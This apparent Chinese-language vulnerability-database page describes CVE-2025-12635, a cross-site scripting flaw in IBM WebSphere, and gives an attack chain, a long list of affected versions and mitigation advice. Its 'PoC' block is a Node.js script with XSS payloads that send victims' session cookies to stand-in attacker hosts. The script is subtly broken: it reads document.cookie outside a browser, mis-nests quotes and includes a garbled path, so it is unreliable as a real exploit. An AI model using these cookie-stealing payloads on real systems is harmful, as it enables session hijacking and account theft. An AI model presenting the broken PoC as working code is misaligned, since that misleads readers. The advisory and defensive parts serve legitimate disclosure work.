IPBUF安全漏洞报告
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CVE-2025-12635 CVSS 5.4 中危

CVE-2025-12635 IBM WebSphere跨站脚本漏洞

披露日期: 2025-12-08

漏洞信息

漏洞编号
CVE-2025-12635
漏洞类型
XSS跨站脚本攻击
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
IBM WebSphere Application Server 8.5, 9.0; IBM WebSphere Application Server Liberty 17.0.0.3-25.0.0.12

相关标签

CVE-2025-12635跨站脚本XSSIBM WebSphereWebSphere Application ServerWebSphere Liberty输入验证不当会话劫持中等严重CVSS 5.4

漏洞概述

CVE-2025-12635是IBM WebSphere Application Server中的一个跨站脚本(XSS)漏洞。该漏洞影响IBM WebSphere Application Server 8.5、9.0版本以及IBM WebSphere Application Server Liberty 17.0.0.3至25.0.0.12版本。由于应用程序对用户提供的输入验证不当,攻击者可以利用此漏洞构造特制的URL,当用户访问该URL时,会被重定向到恶意网站。攻击者可以通过此方式窃取用户的会话cookie、劫持用户账户或进行钓鱼攻击。该漏洞需要低权限用户参与,并且需要用户交互才能成功利用,CVSS评分为5.4,属于中等严重程度。攻击向量为网络形式,机密性和完整性影响均为低。该漏洞由IBM安全团队([email protected])发现并披露。

技术细节

该漏洞是存储型或反射型跨站脚本(XSS)漏洞,存在于IBM WebSphere Application Server的Web界面中。漏洞产生的根本原因是应用程序在接受用户输入时未进行充分的输入验证和输出编码。攻击者可以在URL参数中注入恶意的JavaScript代码,当其他用户访问包含该恶意代码的URL时,浏览器会执行这些脚本。由于IBM WebSphere Application Server在处理特定URL参数时缺少适当的输入过滤和输出编码,恶意脚本可以被注入到页面中并执行。攻击者通常会构造包含XSS payload的URL,如在参数值中插入<script>标签或JavaScript事件处理器。成功利用此漏洞后,攻击者可以获取受害者的会话信息、窃取凭据或进行其他恶意操作。由于该漏洞需要用户交互(如点击恶意链接),攻击的传播效率相对较低,但仍对用户安全构成威胁。

攻击链分析

STEP 1
Reconnaissance
攻击者首先收集目标IBM WebSphere服务器的信息,包括版本号和已知端点,以便确定漏洞存在的具体位置。
STEP 2
Payload Crafting
攻击者构造包含恶意JavaScript代码的XSS payload,通常使用script标签或事件处理器如onerror、onload等。
STEP 3
Malicious URL Generation
将XSS payload注入到IBM WebSphere的URL参数中,构造特制的恶意URL,该URL看起来像正常的应用程序链接。
STEP 4
Social Engineering
攻击者通过钓鱼邮件、即时消息或其他社交工程手段诱骗目标用户点击该恶意URL。
STEP 5
XSS Execution
当受害者的浏览器访问恶意URL时,由于服务器未对输入进行适当验证和编码,恶意脚本被反射回受害者浏览器并执行。
STEP 6
Session Hijacking/Data Theft
恶意脚本执行后,可以窃取用户的会话cookie、凭据或其他敏感信息,并将其发送到攻击者控制的服务器。
STEP 7
Account Compromise
攻击者利用窃取的会话信息劫持用户账户,进而进行进一步的攻击活动,如数据窃取或权限提升。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-12635 XSS PoC for IBM WebSphere // This PoC demonstrates the XSS vulnerability in IBM WebSphere Application Server const http = require('http'); // Malicious URL with XSS payload // Replace TARGET_HOST with the vulnerable IBM WebSphere server address const TARGET_HOST = 'vulnerable-server.example.com'; const TARGET_PORT = 9443; // XSS payload that redirects user to malicious site // The payload exploits improper input validation in URL parameters const xssPayload = '<script>document.location="http://malicious-site.example.com/steal?cookie=' + encodeURIComponent(document.cookie) + '"</script>'; // Alternative XSS payload using img tag with onerror event const imgPayload = '<img src=x onerror="fetch('http://attacker-server.example.com/log?c='+document.cookie)"> '; // Construct the malicious URL const maliciousPath = '/ibm/console/portal/../../../;\u00fsome/path?param=' + encodeURIComponent(xssPayload); console.log('CVE-2025-12635 IBM WebSphere XSS PoC'); console.log('====================================='); console.log('Target:', TARGET_HOST + ':' + TARGET_PORT); console.log('Malicious URL:', 'https://' + TARGET_HOST + ':' + TARGET_PORT + maliciousPath); console.log(''); console.log('XSS Payload (URL encoded):', encodeURIComponent(xssPayload)); console.log(''); console.log('Note: This PoC demonstrates the vulnerability concept.'); console.log('The actual exploitation requires the victim to visit the malicious URL.');

影响范围

IBM WebSphere Application Server 8.5
IBM WebSphere Application Server 9.0
IBM WebSphere Application Server Liberty 17.0.0.3
IBM WebSphere Application Server Liberty 17.0.0.4
IBM WebSphere Application Server Liberty 17.0.0.5
IBM WebSphere Application Server Liberty 18.0.0.1
IBM WebSphere Application Server Liberty 18.0.0.2
IBM WebSphere Application Server Liberty 19.0.0.1
IBM WebSphere Application Server Liberty 19.0.0.2
IBM WebSphere Application Server Liberty 19.0.0.3
IBM WebSphere Application Server Liberty 19.0.0.4
IBM WebSphere Application Server Liberty 19.0.0.5
IBM WebSphere Application Server Liberty 19.0.0.6
IBM WebSphere Application Server Liberty 19.0.0.7
IBM WebSphere Application Server Liberty 19.0.0.8
IBM WebSphere Application Server Liberty 19.0.0.9
IBM WebSphere Application Server Liberty 20.0.0.1
IBM WebSphere Application Server Liberty 20.0.0.2
IBM WebSphere Application Server Liberty 20.0.0.3
IBM WebSphere Application Server Liberty 20.0.0.4
IBM WebSphere Application Server Liberty 20.0.0.5
IBM WebSphere Application Server Liberty 20.0.0.6
IBM WebSphere Application Server Liberty 20.0.0.7
IBM WebSphere Application Server Liberty 20.0.0.8
IBM WebSphere Application Server Liberty 20.0.0.9
IBM WebSphere Application Server Liberty 20.0.0.10
IBM WebSphere Application Server Liberty 21.0.0.1
IBM WebSphere Application Server Liberty 21.0.0.2
IBM WebSphere Application Server Liberty 21.0.0.3
IBM WebSphere Application Server Liberty 21.0.0.4
IBM WebSphere Application Server Liberty 21.0.0.5
IBM WebSphere Application Server Liberty 21.0.0.6
IBM WebSphere Application Server Liberty 21.0.0.7
IBM WebSphere Application Server Liberty 21.0.0.8
IBM WebSphere Application Server Liberty 21.0.0.9
IBM WebSphere Application Server Liberty 22.0.0.1
IBM WebSphere Application Server Liberty 22.0.0.2
IBM WebSphere Application Server Liberty 22.0.0.3
IBM WebSphere Application Server Liberty 22.0.0.4
IBM WebSphere Application Server Liberty 22.0.0.5
IBM WebSphere Application Server Liberty 22.0.0.6
IBM WebSphere Application Server Liberty 22.0.0.7
IBM WebSphere Application Server Liberty 22.0.0.8
IBM WebSphere Application Server Liberty 22.0.0.9
IBM WebSphere Application Server Liberty 22.0.0.10
IBM WebSphere Application Server Liberty 22.0.0.11
IBM WebSphere Application Server Liberty 22.0.0.12
IBM WebSphere Application Server Liberty 23.0.0.1
IBM WebSphere Application Server Liberty 23.0.0.2
IBM WebSphere Application Server Liberty 23.0.0.3
IBM WebSphere Application Server Liberty 23.0.0.4
IBM WebSphere Application Server Liberty 23.0.0.5
IBM WebSphere Application Server Liberty 23.0.0.6
IBM WebSphere Application Server Liberty 23.0.0.7
IBM WebSphere Application Server Liberty 23.0.0.8
IBM WebSphere Application Server Liberty 23.0.0.9
IBM WebSphere Application Server Liberty 23.0.0.10
IBM WebSphere Application Server Liberty 23.0.0.11
IBM WebSphere Application Server Liberty 23.0.0.12
IBM WebSphere Application Server Liberty 24.0.0.1
IBM WebSphere Application Server Liberty 24.0.0.2
IBM WebSphere Application Server Liberty 24.0.0.3
IBM WebSphere Application Server Liberty 24.0.0.4
IBM WebSphere Application Server Liberty 24.0.0.5
IBM WebSphere Application Server Liberty 24.0.0.6
IBM WebSphere Application Server Liberty 24.0.0.7
IBM WebSphere Application Server Liberty 24.0.0.8
IBM WebSphere Application Server Liberty 24.0.0.9
IBM WebSphere Application Server Liberty 24.0.0.10
IBM WebSphere Application Server Liberty 24.0.0.11
IBM WebSphere Application Server Liberty 24.0.0.12
IBM WebSphere Application Server Liberty 25.0.0.1
IBM WebSphere Application Server Liberty 25.0.0.2
IBM WebSphere Application Server Liberty 25.0.0.3
IBM WebSphere Application Server Liberty 25.0.0.4
IBM WebSphere Application Server Liberty 25.0.0.5
IBM WebSphere Application Server Liberty 25.0.0.6
IBM WebSphere Application Server Liberty 25.0.0.7
IBM WebSphere Application Server Liberty 25.0.0.8
IBM WebSphere Application Server Liberty 25.0.0.9
IBM WebSphere Application Server Liberty 25.0.0.10
IBM WebSphere Application Server Liberty 25.0.0.11
IBM WebSphere Application Server Liberty 25.0.0.12

防御指南

临时缓解措施
在等待官方补丁发布期间,可以采取以下临时缓解措施:1)使用Web应用防火墙规则过滤恶意XSS payload;2)实施严格的输入验证,对URL参数中的特殊字符进行过滤;3)配置内容安全策略(CSP)头部限制脚本执行;4)对所有输出进行HTML实体编码;5)启用HttpOnly和Secure标志保护Cookie;6)限制用户可访问的URL路径,实施最小权限原则;7)监控和日志记录异常请求,及时发现潜在攻击行为。

参考链接

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